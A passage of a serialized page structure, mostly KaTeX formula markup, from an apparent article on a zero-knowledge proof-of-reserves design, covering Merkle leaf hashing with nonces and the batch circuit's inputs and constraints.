sName":103400},[15284,32803],[103402],{"type":29,"value":103403},"an",{"type":23,"tag":75,"props":103405,"children":103407},{"className":103406},[15284,32803],[103408],{"type":29,"value":103409},"ce",{"type":23,"tag":75,"props":103411,"children":103413},{"className":103412},[15284],[103414,103419],{"type":23,"tag":75,"props":103415,"children":103417},{"className":103416},[15284,32803],[103418],{"type":29,"value":21899},{"type":23,"tag":75,"props":103420,"children":103422},{"className":103421},[15299],[103423],{"type":23,"tag":75,"props":103424,"children":103426},{"className":103425},[15304,32857],[103427,103458],{"type":23,"tag":75,"props":103428,"children":103430},{"className":103429},[15309],[103431,103453],{"type":23,"tag":75,"props":103432,"children":103435},{"className":103433,"style":103434},[15314],"height:0.3011em;",[103436],{"type":23,"tag":75,"props":103437,"children":103439},{"style":103438},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[103440,103444],{"type":23,"tag":75,"props":103441,"children":103443},{"className":103442,"style":15324},[15323],[],{"type":23,"tag":75,"props":103445,"children":103447},{"className":103446},[15329,15330,15331,15332],[103448],{"type":23,"tag":75,"props":103449,"children":103451},{"className":103450},[15284,15332],[103452],{"type":29,"value":648},{"type":23,"tag":75,"props":103454,"children":103456},{"className":103455},[32960],[103457],{"type":29,"value":32963},{"type":23,"tag":75,"props":103459,"children":103461},{"className":103460},[15309],[103462],{"type":23,"tag":75,"props":103463,"children":103466},{"className":103464,"style":103465},[15314],"height:0.15em;",[103467],{"type":23,"tag":75,"props":103468,"children":103469},{},[],{"type":23,"tag":75,"props":103471,"children":103473},{"className":103472},[15363],[103474],{"type":29,"value":32904},{"type":23,"tag":75,"props":103476,"children":103478},{"className":103477},[15284],[103479],{"type":29,"value":103480},"∣∣",{"type":23,"tag":75,"props":103482,"children":103484},{"className":103483},[15363],[103485],{"type":29,"value":32904},{"type":23,"tag":75,"props":103487,"children":103489},{"className":103488},[15284,32803],[103490],{"type":29,"value":940},{"type":23,"tag":75,"props":103492,"children":103494},{"className":103493},[15284,32803],[103495],{"type":29,"value":103373},{"type":23,"tag":75,"props":103497,"children":103499},{"className":103498},[15284,32803],[103500],{"type":29,"value":32945},{"type":23,"tag":75,"props":103502,"children":103504},{"className":103503,"style":103382},[15284],[103505],{"type":29,"value":14370},{"type":23,"tag":75,"props":103507,"children":103509},{"className":103508},[15284,32803],[103510],{"type":29,"value":103390},{"type":23,"tag":75,"props":103512,"children":103514},{"className":103513,"style":103394},[15284,32803],[103515],{"type":29,"value":103397},{"type":23,"tag":75,"props":103517,"children":103519},{"className":103518},[15284,32803],[103520],{"type":29,"value":103403},{"type":23,"tag":75,"props":103522,"children":103524},{"className":103523},[15284,32803],[103525],{"type":29,"value":103409},{"type":23,"tag":75,"props":103527,"children":103529},{"className":103528},[15284],[103530,103535],{"type":23,"tag":75,"props":103531,"children":103533},{"className":103532},[15284,32803],[103534],{"type":29,"value":21899},{"type":23,"tag":75,"props":103536,"children":103538},{"className":103537},[15299],[103539],{"type":23,"tag":75,"props":103540,"children":103542},{"className":103541},[15304,32857],[103543,103572],{"type":23,"tag":75,"props":103544,"children":103546},{"className":103545},[15309],[103547,103567],{"type":23,"tag":75,"props":103548,"children":103550},{"className":103549,"style":103434},[15314],[103551],{"type":23,"tag":75,"props":103552,"children":103553},{"style":103438},[103554,103558],{"type":23,"tag":75,"props":103555,"children":103557},{"className":103556,"style":15324},[15323],[],{"type":23,"tag":75,"props":103559,"children":103561},{"className":103560},[15329,15330,15331,15332],[103562],{"type":23,"tag":75,"props":103563,"children":103565},{"className":103564},[15284,15332],[103566],{"type":29,"value":7867},{"type":23,"tag":75,"props":103568,"children":103570},{"className":103569},[32960],[103571],{"type":29,"value":32963},{"type":23,"tag":75,"props":103573,"children":103575},{"className":103574},[15309],[103576],{"type":23,"tag":75,"props":103577,"children":103579},{"className":103578,"style":103465},[15314],[103580],{"type":23,"tag":75,"props":103581,"children":103582},{},[],{"type":23,"tag":75,"props":103584,"children":103586},{"className":103585},[15363],[103587],{"type":29,"value":32904},{"type":23,"tag":75,"props":103589,"children":103591},{"className":103590},[15284],[103592],{"type":29,"value":9174},{"type":23,"tag":75,"props":103594,"children":103596},{"className":103595},[15363],[103597],{"type":29,"value":32904},{"type":23,"tag":75,"props":103599,"children":103601},{"className":103600},[15284],[103602],{"type":29,"value":103480},{"type":23,"tag":75,"props":103604,"children":103606},{"className":103605},[15363],[103607],{"type":29,"value":32904},{"type":23,"tag":75,"props":103609,"children":103611},{"className":103610,"style":33262},[15284,32803],[103612],{"type":29,"value":1032},{"type":23,"tag":75,"props":103614,"children":103617},{"className":103615,"style":103616},[15284,32803],"margin-right:0.08125em;",[103618],{"type":29,"value":103619},"H",{"type":23,"tag":75,"props":103621,"children":103623},{"className":103622},[15284,32803],[103624],{"type":29,"value":1013},{"type":23,"tag":75,"props":103626,"children":103628},{"className":103627},[15284],[103629],{"type":29,"value":103630},"256",{"type":23,"tag":75,"props":103632,"children":103634},{"className":103633},[32932],[103635],{"type":29,"value":643},{"type":23,"tag":75,"props":103637,"children":103639},{"className":103638},[15284,32803],[103640],{"type":29,"value":103641},"u",{"type":23,"tag":75,"props":103643,"children":103645},{"className":103644,"style":103382},[15284,32803],[103646],{"type":29,"value":103647},"ser",{"type":23,"tag":75,"props":103649,"children":103651},{"className":103650,"style":103382},[15284],[103652],{"type":29,"value":14370},{"type":23,"tag":75,"props":103654,"children":103656},{"className":103655},[15284,32803],[103657],{"type":29,"value":12935},{"type":23,"tag":75,"props":103659,"children":103661},{"className":103660},[15284,32803],[103662],{"type":29,"value":81736},{"type":23,"tag":75,"props":103664,"children":103666},{"className":103665},[32954],[103667],{"type":29,"value":1347},{"type":23,"tag":75,"props":103669,"children":103671},{"className":103670},[15363],[103672],{"type":29,"value":32904},{"type":23,"tag":75,"props":103674,"children":103676},{"className":103675},[15284],[103677],{"type":29,"value":103480},{"type":23,"tag":75,"props":103679,"children":103681},{"className":103680},[15363],[103682],{"type":29,"value":32904},{"type":23,"tag":75,"props":103684,"children":103686},{"className":103685},[15284,32803],[103687],{"type":29,"value":103641},{"type":23,"tag":75,"props":103689,"children":103691},{"className":103690,"style":103382},[15284,32803],[103692],{"type":29,"value":103647},{"type":23,"tag":75,"props":103694,"children":103696},{"className":103695,"style":103382},[15284],[103697],{"type":29,"value":14370},{"type":23,"tag":75,"props":103699,"children":103701},{"className":103700},[15284,32803],[103702],{"type":29,"value":67587},{"type":23,"tag":75,"props":103704,"children":103706},{"className":103705},[15284,32803],[103707],{"type":29,"value":103352},{"type":23,"tag":75,"props":103709,"children":103711},{"className":103710},[15284,32803],[103712],{"type":29,"value":67587},{"type":23,"tag":75,"props":103714,"children":103716},{"className":103715},[15284,32803],[103717],{"type":29,"value":103409},{"type":23,"tag":75,"props":103719,"children":103721},{"className":103720},[32954],[103722],{"type":29,"value":1347},{"type":23,"tag":32,"props":103724,"children":103725},{},[103726,103728,103734],{"type":29,"value":103727},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":23,"tag":71,"props":103729,"children":103731},{"className":103730},[],[103732],{"type":29,"value":103733},"uuid",{"type":29,"value":103735},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":23,"tag":923,"props":103737,"children":103739},{"id":103738},"batch-circuit",[103740],{"type":29,"value":103741},"Batch Circuit",{"type":23,"tag":32,"props":103743,"children":103744},{},[103745],{"type":29,"value":103746},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":23,"tag":32,"props":103748,"children":103749},{},[103750],{"type":23,"tag":16596,"props":103751,"children":103752},{},[103753],{"type":29,"value":103754},"Public Inputs",{"type":23,"tag":27910,"props":103756,"children":103757},{},[103758,103763,103768],{"type":23,"tag":2801,"props":103759,"children":103760},{},[103761],{"type":29,"value":103762},"Asset prices in USD",{"type":23,"tag":2801,"props":103764,"children":103765},{},[103766],{"type":29,"value":103767},"Merkle tree hash",{"type":23,"tag":2801,"props":103769,"children":103770},{},[103771],{"type":29,"value":103772},"Summed asset balances",{"type":23,"tag":32,"props":103774,"children":103775},{},[103776],{"type":23,"tag":16596,"props":103777,"children":103778},{},[103779],{"type":29,"value":103780},"Private Inputs",{"type":23,"tag":27910,"props":103782,"children":103783},{},[103784,103789],{"type":23,"tag":2801,"props":103785,"children":103786},{},[103787],{"type":29,"value":103788},"Users balances",{"type":23,"tag":2801,"props":103790,"children":103791},{},[103792],{"type":29,"value":103793},"Merkle tree leaves hashes",{"type":23,"tag":32,"props":103795,"children":103796},{},[103797],{"type":23,"tag":16596,"props":103798,"children":103799},{},[103800],{"type":29,"value":103801},"Constraints",{"type":23,"tag":27910,"props":103803,"children":103804},{},[103805,104258,104426,104773,105171],{"type":23,"tag":2801,"props":103806,"children":103807},{},[103808],{"type":23,"tag":71,"props":103809,"children":103811},{"className":103810},[15256,15257],[103812],{"type":23,"tag":75,"props":103813,"children":103815},{"className":103814},[15262],[103816],{"type":23,"tag":75,"props":103817,"children":103819},{"className":103818,"ariaHidden":15268},[15267],[103820,103959,104163],{"type":23,"tag":75,"props":103821,"children":103823},{"className":103822},[15273],[103824,103829,103834,103840,103845,103850,103855,103860,103865,103872,103877,103882,103887,103946,103950,103955],{"type":23,"tag":75,"props":103825,"children":103828},{"className":103826,"style":103827},[15278],"height:0.9695em;vertical-align:-0.31em;",[],{"type":23,"tag":75,"props":103830,"children":103832},{"className":103831},[15284,32803],[103833],{"type":29,"value":940},{"type":23,"tag":75,"props":103835,"children":103837},{"className":103836},[15284,32803],[103838],{"type":29,"value":103839},"cco",{"type":23,"tag":75,"props":103841,"children":103843},{"className":103842},[15284,32803],[103844],{"type":29,"value":103641},{"type":23,"tag":75,"props":103846,"children":103848},{"className":103847},[15284,32803],[103849],{"type":29,"value":67587},{"type":23,"tag":75,"props":103851,"children":103853},{"className":103852},[15284,32803],[103854],{"type":29,"value":32945},{"type":23,"tag":75,"props":103856,"children":103858},{"className":103857,"style":103382},[15284],[103859],{"type":29,"value":14370},{"type":23,"tag":75,"props":103861,"children":103863},{"className":103862},[15284,32803],[103864],{"type":29,"value":62639},{"type":23,"tag":75,"props":103866,"children":103869},{"className":103867,"style":103868},[15284,32803],"margin-right:0.03588em;",[103870],{"type":29,"value":103871},"q",{"type":23,"tag":75,"props":103873,"children":103875},{"className":103874},[15284,32803],[103876],{"type":29,"value":103641},{"type":23,"tag":75,"props":103878,"children":103880},{"className":103879},[15284,32803],[103881],{"type":29,"value":12935},{"type":23,"tag":75,"props":103883,"children":103885},{"className":103884},[15284,32803],[103886],{"type":29,"value":32945},{"type":23,"tag":75,"props":103888,"children":103890},{"className":103889},[15284],[103891,103896],{"type":23,"tag":75,"props":103892,"children":103894},{"className":103893,"style":103868},[15284,32803],[103895],{"type":29,"value":14400},{"type":23,"tag":75,"props":103897,"children":103899},{"className":103898},[15299],[103900],{"type":23,"tag":75,"props":103901,"children":103903},{"className":103902},[15304,32857],[103904,103935],{"type":23,"tag":75,"props":103905,"children":103907},{"className":103906},[15309],[103908,103930],{"type":23,"tag":75,"props":103909,"children":103912},{"className":103910,"style":103911},[15314],"height:0.3117em;",[103913],{"type":23,"tag":75,"props":103914,"children":103916},{"style":103915},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[103917,103921],{"type":23,"tag":75,"props":103918,"children":103920},{"className":103919,"style":15324},[15323],[],{"type":23,"tag":75,"props":103922,"children":103924},{"className":103923},[15329,15330,15331,15332],[103925],{"type":23,"tag":75,"props":103926,"children":103928},{"className":103927},[15284,32803,15332],[103929],{"type":29,"value":12935},{"type":23,"tag":75,"props":103931,"children":103933},{"className":103932},[32960],[103934],{"type":29,"value":32963},{"type":23,"tag":75,"props":103936,"children":103938},{"className":103937},[15309],[103939],{"type":23,"tag":75,"props":103940,"children":103942},{"className":103941,"style":103465},[15314],[103943],{"type":23,"tag":75,"props":103944,"children":103945},{},[],{"type":23,"tag":75,"props":103947,"children":103949},{"className":103948,"style":15461},[15363],[],{"type":23,"tag":75,"props":103951,"children":103953},{"className":103952},[15466],[103954],{"type":29,"value":2469},{"type":23,"tag":75,"props":103956,"children":103958},{"className":103957,"style":15461},[15363],[],{"type":23,"tag":75,"props":103960,"children":103962},{"className":103961},[15273],[103963,103967,103973,103978,103983,103988,103993,103998,104003,104008,104013,104018,104023,104028,104033,104038,104043,104048,104105,104110,104115,104120,104125,104130,104135,104140,104145,104150,104154,104159],{"type":23,"tag":75,"props":103964,"children":103966},{"className":103965,"style":103324},[15278],[],{"type":23,"tag":75,"props":103968,"children":103970},{"className":103969},[15284],[103971],{"type":29,"value":103972},"Σ",{"type":23,"tag":75,"props":103974,"children":103976},{"className":103975},[15363],[103977],{"type":29,"value":32904},{"type":23,"tag":75,"props":103979,"children":103981},{"className":103980},[15284,32803],[103982],{"type":29,"value":940},{"type":23,"tag":75,"props":103984,"children":103986},{"className":103985},[15284,32803],[103987],{"type":29,"value":103839},{"type":23,"tag":75,"props":103989,"children":103991},{"className":103990},[15284,32803],[103992],{"type":29,"value":103641},{"type":23,"tag":75,"props":103994,"children":103996},{"className":103995},[15284,32803],[103997],{"type":29,"value":67587},{"type":23,"tag":75,"props":103999,"children":104001},{"className":104000},[15284,32803],[104002],{"type":29,"value":32945},{"type":23,"tag":75,"props":104004,"children":104006},{"className":104005,"style":103382},[15284],[104007],{"type":29,"value":14370},{"type":23,"tag":75,"props":104009,"children":104011},{"className":104010},[15284,32803],[104012],{"type":29,"value":940},{"type":23,"tag":75,"props":104014,"children":104016},{"className":104015},[15284,32803],[104017],{"type":29,"value":103373},{"type":23,"tag":75,"props":104019,"children":104021},{"className":104020},[15284,32803],[104022],{"type":29,"value":32945},{"type":23,"tag":75,"props":104024,"children":104026},{"className":104025,"style":103382},[15284],[104027],{"type":29,"value":14370},{"type":23,"tag":75,"props":104029,"children":104031},{"className":104030},[15284,32803],[104032],{"type":29,"value":103390},{"type":23,"tag":75,"props":104034,"children":104036},{"className":104035,"style":103394},[15284,32803],[104037],{"type":29,"value":103397},{"type":23,"tag":75,"props":104039,"children":104041},{"className":104040},[15284,32803],[104042],{"type":29,"value":103403},{"type":23,"tag":75,"props":104044,"children":104046},{"className":104045},[15284,32803],[104047],{"type":29,"value":103409},{"type":23,"tag":75,"props":104049,"children":104051},{"className":104050},[15284],[104052,104057],{"type":23,"tag":75,"props":104053,"children":104055},{"className":104054},[15284,32803],[104056],{"type":29,"value":21899},{"type":23,"tag":75,"props":104058,"children":104060},{"className":104059},[15299],[104061],{"type":23,"tag":75,"props":104062,"children":104064},{"className":104063},[15304,32857],[104065,104094],{"type":23,"tag":75,"props":104066,"children":104068},{"className":104067},[15309],[104069,104089],{"type":23,"tag":75,"props":104070,"children":104072},{"className":104071,"style":103911},[15314],[104073],{"type":23,"tag":75,"props":104074,"children":104075},{"style":103438},[104076,104080],{"type":23,"tag":75,"props":104077,"children":104079},{"className":104078,"style":15324},[15323],[],{"type":23,"tag":75,"props":104081,"children":104083},{"className":104082},[15329,15330,15331,15332],[104084],{"type":23,"tag":75,"props":104085,"children":104087},{"className":104086},[15284,32803,15332],[104088],{"type":29,"value":12935},{"type":23,"tag":75,"props":104090,"children":104092},{"className":104091},[32960],[104093],{"type":29,"value":32963},{"type":23,"tag":75,"props":104095,"children":104097},{"className":104096},[15309],[104098],{"type":23,"tag":75,"props":104099,"children":104101},{"className":104100,"style":103465},[15314],[104102],{"type":23,"tag":75,"props":104103,"children":104104},{},[],{"type":23,"tag":75,"props":104106,"children":104108},{"className":104107},[32932],[104109],{"type":29,"value":814},{"type":23,"tag":75,"props":104111,"children":104113},{"className":104112},[15284,32803],[104114],{"type":29,"value":940},{"type":23,"tag":75,"props":104116,"children":104118},{"className":104117},[15284,32803],[104119],{"type":29,"value":103373},{"type":23,"tag":75,"props":104121,"children":104123},{"className":104122},[15284,32803],[104124],{"type":29,"value":32945},{"type":23,"tag":75,"props":104126,"children":104128},{"className":104127,"style":103382},[15284],[104129],{"type":29,"value":14370},{"type":23,"tag":75,"props":104131,"children":104133},{"className":104132},[15284,32803],[104134],{"type":29,"value":67587},{"type":23,"tag":75,"props":104136,"children":104138},{"className":104137},[15284,32803],[104139],{"type":29,"value":103641},{"type":23,"tag":75,"props":104141,"children":104143},{"className":104142},[15284,32803],[104144],{"type":29,"value":62318},{"type":23,"tag":75,"props":104146,"children":104148},{"className":104147},[32954],[104149],{"type":29,"value":1610},{"type":23,"tag":75,"props":104151,"children":104153},{"className":104152,"style":15364},[15363],[],{"type":23,"tag":75,"props":104155,"children":104157},{"className":104156},[15369],[104158],{"type":29,"value":15372},{"type":23,"tag":75,"props":104160,"children":104162},{"className":104161,"style":15364},[15363],[],{"type":23,"tag":75,"props":104164,"children":104166},{"className":104165},[15273],[104167,104171,104176,104181,104186,104191,104196,104202,104207,104213,104218,104223,104228,104233,104238,104243,104248,104253],{"type":23,"tag":75,"props":104168,"children":104170},{"className":104169,"style":103324},[15278],[],{"type":23,"tag":75,"props":104172,"children":104174},{"className":104173},[15284,32803],[104175],{"type":29,"value":940},{"type":23,"tag":75,"props":104177,"children":104179},{"className":104178},[15284,32803],[104180],{"type":29,"value":103373},{"type":23,"tag":75,"props":104182,"children":104184},{"className":104183},[15284,32803],[104185],{"type":29,"value":32945},{"type":23,"tag":75,"props":104187,"children":104189},{"className":104188,"style":103382},[15284],[104190],{"type":29,"value":14370},{"type":23,"tag":75,"props":104192,"children":104194},{"className":104193},[15284,32803],[104195],{"type":29,"value":32},{"type":23,"tag":75,"props":104197,"children":104199},{"className":104198,"style":103382},[15284,32803],[104200],{"type":29,"value":104201},"r",{"type":23,"tag":75,"props":104203,"children":104205},{"className":104204},[15284,32803],[104206],{"type":29,"value":12935},{"type":23,"tag":75,"props":104208,"children":104210},{"className":104209},[15284,32803],[104211],{"type":29,"value":104212},"ces",{"type":23,"tag":75,"props":104214,"children":104216},{"className":104215},[32932],[104217],{"type":29,"value":814},{"type":23,"tag":75,"props":104219,"children":104221},{"className":104220},[15284,32803],[104222],{"type":29,"value":940},{"type":23,"tag":75,"props":104224,"children":104226},{"className":104225},[15284,32803],[104227],{"type":29,"value":103373},{"type":23,"tag":75,"props":104229,"children":104231},{"className":104230},[15284,32803],[104232],{"type":29,"value":32945},{"type":23,"tag":75,"props":104234,"children":104236},{"className":104235,"style":103382},[15284],[104237],{"type":29,"value":14370},{"type":23,"tag":75,"props":104239,"children":104241},{"className":104240},[15284,32803],[104242],{"type":29,"value":67587},{"type":23,"tag":75,"props":104244,"children":104246},{"className":104245},[15284,32803],[104247],{"type":29,"value":103641},{"type":23,"tag":75,"props":104249,"children":104251},{"className":104250},[15284,32803],[104252],{"type":29,"value":62318},{"type":23,"tag":75,"props":104254,"children":104256},{"className":104255},[32954],[104257],{"type":29,"value":1610},{"type":23,"tag":2801,"props":104259,"children":104260},{},[104261,104420,104421],{"type":23,"tag":71,"props":104262,"children":104264},{"className":104263},[15256,15257],[104265],{"type":23,"tag":75,"props":104266,"children":104268},{"className":104267},[15262],[104269],{"type":23,"tag":75,"props":104270,"children":104272},{"className":104271,"ariaHidden":15268},[15267],[104273,104406],{"type":23,"tag":75,"props":104274,"children":104276},{"className":104275},[15273],[104277,104281,104286,104291,104296,104301,104306,104311,104316,104321,104326,104331,104336,104393,104397,104402],{"type":23,"tag":75,"props":104278,"children":104280},{"className":104279,"style":103827},[15278],[],{"type":23,"tag":75,"props":104282,"children":104284},{"className":104283},[15284,32803],[104285],{"type":29,"value":940},{"type":23,"tag":75,"props":104287,"children":104289},{"className":104288},[15284,32803],[104290],{"type":29,"value":103839},{"type":23,"tag":75,"props":104292,"children":104294},{"className":104293},[15284,32803],[104295],{"type":29,"value":103641},{"type":23,"tag":75,"props":104297,"children":104299},{"className":104298},[15284,32803],[104300],{"type":29,"value":67587},{"type":23,"tag":75,"props":104302,"children":104304},{"className":104303},[15284,32803],[104305],{"type":29,"value":32945},{"type":23,"tag":75,"props":104307,"children":104309},{"className":104308,"style":103382},[15284],[104310],{"type":29,"value":14370},{"type":23,"tag":75,"props":104312,"children":104314},{"className":104313},[15284,32803],[104315],{"type":29,"value":62639},{"type":23,"tag":75,"props":104317,"children":104319},{"className":104318,"style":103868},[15284,32803],[104320],{"type":29,"value":103871},{"type":23,"tag":75,"props":104322,"children":104324},{"className":104323},[15284,32803],[104325],{"type":29,"value":103641},{"type":23,"tag":75,"props":104327,"children":104329},{"className":104328},[15284,32803],[104330],{"type":29,"value":12935},{"type":23,"tag":75,"props":104332,"children":104334},{"className":104333},[15284,32803],[104335],{"type":29,"value":32945},{"type":23,"tag":75,"props":104337,"children":104339},{"className":104338},[15284],[104340,104345],{"type":23,"tag":75,"props":104341,"children":104343},{"className":104342,"style":103868},[15284,32803],[104344],{"type":29,"value":14400},{"type":23,"tag":75,"props":104346,"children":104348},{"className":104347},[15299],[104349],{"type":23,"tag":75,"props":104350,"children":104352},{"className":104351},[15304,32857],[104353,104382],{"type":23,"tag":75,"props":104354,"children":104356},{"className":104355},[15309],[104357,104377],{"type":23,"tag":75,"props":104358,"children":104360},{"className":104359,"style":103911},[15314],[104361],{"type":23,"tag":75,"props":104362,"children":104363},{"style":103915},[104364,104368],{"type":23,"tag":75,"props":104365,"children":104367},{"className":104366,"style":15324},[15323],[],{"type":23,"tag":75,"props":104369,"children":104371},{"className":104370},[15329,15330,15331,15332],[104372],{"type":23,"tag":75,"props":104373,"children":104375},{"className":104374},[15284,32803,15332],[104376],{"type":29,"value":12935},{"type":23,"tag":75,"props":104378,"children":104380},{"className":104379},[32960],[104381],{"type":29,"value":32963},{"type":23,"tag":75,"props":104383,"children":104385},{"className":104384},[15309],[104386],{"type":23,"tag":75,"props":104387,"children":104389},{"className":104388,"style":103465},[15314],[104390],{"type":23,"tag":75,"props":104391,"children":104392},{},[],{"type":23,"tag":75,"props":104394,"children":104396},{"className":104395,"style":15461},[15363],[],{"type":23,"tag":75,"props":104398,"children":104400},{"className":104399},[15466],[104401],{"type":29,"value":21191},{"type":23,"tag":75,"props":104403,"children":104405},{"className":104404,"style":15461},[15363],[],{"type":23,"tag":75,"props":104407,"children":104409},{"className":104408},[15273],[104410,104415],{"type":23,"tag":75,"props":104411,"children":104414},{"className":104412,"style":104413},[15278],"height:0.6444em;",[],{"type":23,"tag":75,"props":104416,"children":104418},{"className":104417},[15284],[104419],{"type":29,"value":648},{"type":29,"value":949},{"type":23,"tag":16596,"props":104422,"children":104423},{},[104424],{"type":29,"value":104425},"(non-negativity)",{"type":23,"tag":2801,"props":104427,"children":104428},{},[104429,104767,104768],{"type":23,"tag":71,"props":104430,"children":104432},{"className":104431},[15256,15257],[104433],{"type":23,"tag":75,"props":104434,"children":104436},{"className":104435},[15262],[104437],{"type":23,"tag":75,"props":104438,"children":104440},{"className":104439,"ariaHidden":15268},[15267],[104441,104577],{"type":23,"tag":75,"props":104442,"children":104444},{"className":104443},[15273],[104445,104449,104454,104459,104464,104469,104474,104479,104484,104489,104494,104499,104504,104509,104514,104519,104524,104529,104534,104539,104544,104549,104554,104559,104564,104568,104573],{"type":23,"tag":75,"props":104446,"children":104448},{"className":104447,"style":103324},[15278],[],{"type":23,"tag":75,"props":104450,"children":104452},{"className":104451},[15284,32803],[104453],{"type":29,"value":32945},{"type":23,"tag":75,"props":104455,"children":104457},{"className":104456},[15284,32803],[104458],{"type":29,"value":103352},{"type":23,"tag":75,"props":104460,"children":104462},{"className":104461},[15284,32803],[104463],{"type":29,"value":32945},{"type":23,"tag":75,"props":104465,"children":104467},{"className":104466},[15284,32803],[104468],{"type":29,"value":940},{"type":23,"tag":75,"props":104470,"children":104472},{"className":104471,"style":103394},[15284,32803],[104473],{"type":29,"value":103397},{"type":23,"tag":75,"props":104475,"children":104477},{"className":104476,"style":103382},[15284],[104478],{"type":29,"value":14370},{"type":23,"tag":75,"props":104480,"children":104482},{"className":104481},[15284,32803],[104483],{"type":29,"value":940},{"type":23,"tag":75,"props":104485,"children":104487},{"className":104486},[15284,32803],[104488],{"type":29,"value":103373},{"type":23,"tag":75,"props":104490,"children":104492},{"className":104491},[15284,32803],[104493],{"type":29,"value":32945},{"type":23,"tag":75,"props":104495,"children":104497},{"className":104496,"style":103382},[15284],[104498],{"type":29,"value":14370},{"type":23,"tag":75,"props":104500,"children":104502},{"className":104501},[15284,32803],[104503],{"type":29,"value":103390},{"type":23,"tag":75,"props":104505,"children":104507},{"className":104506,"style":103394},[15284,32803],[104508],{"type":29,"value":103397},{"type":23,"tag":75,"props":104510,"children":104512},{"className":104511},[15284,32803],[104513],{"type":29,"value":103403},{"type":23,"tag":75,"props":104515,"children":104517},{"className":104516},[15284,32803],[104518],{"type":29,"value":103409},{"type":23,"tag":75,"props":104520,"children":104522},{"className":104521},[32932],[104523],{"type":29,"value":814},{"type":23,"tag":75,"props":104525,"children":104527},{"className":104526},[15284,32803],[104528],{"type":29,"value":940},{"type":23,"tag":75,"props":104530,"children":104532},{"className":104531},[15284,32803],[104533],{"type":29,"value":103373},{"type":23,"tag":75,"props":104535,"children":104537},{"className":104536},[15284,32803],[104538],{"type":29,"value":32945},{"type":23,"tag":75,"props":104540,"children":104542},{"className":104541,"style":103382},[15284],[104543],{"type":29,"value":14370},{"type":23,"tag":75,"props":104545,"children":104547},{"className":104546},[15284,32803],[104548],{"type":29,"value":67587},{"type":23,"tag":75,"props":104550,"children":104552},{"className":104551},[15284,32803],[104553],{"type":29,"value":103641},{"type":23,"tag":75,"props":104555,"children":104557},{"className":104556},[15284,32803],[104558],{"type":29,"value":62318},{"type":23,"tag":75,"props":104560,"children":104562},{"className":104561},[32954],[104563],{"type":29,"value":1610},{"type":23,"tag":75,"props":104565,"children":104567},{"className":104566,"style":15461},[15363],[],{"type":23,"tag":75,"props":104569,"children":104571},{"className":104570},[15466],[104572],{"type":29,"value":2469},{"type":23,"tag":75,"props":104574,"children":104576},{"className":104575,"style":15461},[15363],[],{"type":23,"tag":75,"props":104578,"children":104580},{"className":104579},[15273],[104581,104585,104590,104595,104600,104605,104610,104615,104620,104625,104630,104635,104640,104645,104650,104655,104660,104665,104722,104727,104732,104737,104742,104747,104752,104757,104762],{"type":23,"tag":75,"props":104582,"children":104584},{"className":104583,"style":103324},[15278],[],{"type":23,"tag":75,"props":104586,"children":104588},{"className":104587},[15284],[104589],{"type":29,"value":103972},{"type":23,"tag":75,"props":104591,"children":104593},{"className":104592},[15363],[104594],{"type":29,"value":32904},{"type":23,"tag":75,"props":104596,"children":104598},{"className":104597},[15284,32803],[104599],{"type":29,"value":940},{"type":23,"tag":75,"props":104601,"children":104603},{"className":104602},[15284,32803],[104604],{"type":29,"value":103839},{"type":23,"tag":75,"props":104606,"children":104608},{"className":104607},[15284,32803],[104609],{"type":29,"value":103641},{"type":23,"tag":75,"props":104611,"children":104613},{"className":104612},[15284,32803],[104614],{"type":29,"value":67587},{"type":23,"tag":75,"props":104616,"children":104618},{"className":104617},[15284,32803],[104619],{"type":29,"value":32945},{"type":23,"tag":75,"props":104621,"children":104623},{"className":104622,"style":103382},[15284],[104624],{"type":29,"value":14370},{"type":23,"tag":75,"props":104626,"children":104628},{"className":104627},[15284,32803],[104629],{"type":29,"value":940},{"type":23,"tag":75,"props":104631,"children":104633},{"className":104632},[15284,32803],[104634],{"type":29,"value":103373},{"type":23,"tag":75,"props":104636,"children":104638},{"className":104637},[15284,32803],[104639],{"type":29,"value":32945},{"type":23,"tag":75,"props":104641,"children":104643},{"className":104642,"style":103382},[15284],[104644],{"type":29,"value":14370},{"type":23,"tag":75,"props":104646,"children":104648},{"className":104647},[15284,32803],[104649],{"type":29,"value":103390},{"type":23,"tag":75,"props":104651,"children":104653},{"className":104652,"style":103394},[15284,32803],[104654],{"type":29,"value":103397},{"type":23,"tag":75,"props":104656,"children":104658},{"className":104657},[15284,32803],[104659],{"type":29,"value":103403},{"type":23,"tag":75,"props":104661,"children":104663},{"className":104662},[15284,32803],[104664],{"type":29,"value":103409},{"type":23,"tag":75,"props":104666,"children":104668},{"className":104667},[15284],[104669,104674],{"type":23,"tag":75,"props":104670,"children":104672},{"className":104671},[15284,32803],[104673],{"type":29,"value":21899},{"type":23,"tag":75,"props":104675,"children":104677},{"className":104676},[15299],[104678],{"type":23,"tag":75,"props":104679,"children":104681},{"className":104680},[15304,32857],[104682,104711],{"type":23,"tag":75,"props":104683,"children":104685},{"className":104684},[15309],[104686,104706],{"type":23,"tag":75,"props":104687,"children":104689},{"className":104688,"style":103911},[15314],[104690],{"type":23,"tag":75,"props":104691,"children":104692},{"style":103438},[104693,104697],{"type":23,"tag":75,"props":104694,"children":104696},{"className":104695,"style":15324},[15323],[],{"type":23,"tag":75,"props":104698,"children":104700},{"className":104699},[15329,15330,15331,15332],[104701],{"type":23,"tag":75,"props":104702,"children":104704},{"className":104703},[15284,32803,15332],[104705],{"type":29,"value":12935},{"type":23,"tag":75,"props":104707,"children":104709},{"className":104708},[32960],[104710],{"type":29,"value":32963},{"type":23,"tag":75,"props":104712,"children":104714},{"className":104713},[15309],[104715],{"type":23,"tag":75,"props":104716,"children":104718},{"className":104717,"style":103465},[15314],[104719],{"type":23,"tag":75,"props":104720,"children":104721},{},[],{"type":23,"tag":75,"props":104723,"children":104725},{"className":104724},[32932],[104726],{"type":29,"value":814},{"type":23,"tag":75,"props":104728,"children":104730},{"className":104729},[15284,32803],[104731],{"type":29,"value":940},{"type":23,"tag":75,"props":104733,"children":104735},{"className":104734},[15284,32803],[104736],{"type":29,"value":103373},{"type":23,"tag":75,"props":104738,"children":104740},{"className":104739},[15284,32803],[104741],{"type":29,"value":32945},{"type":23,"tag":75,"props":104743,"children":104745},{"className":104744,"s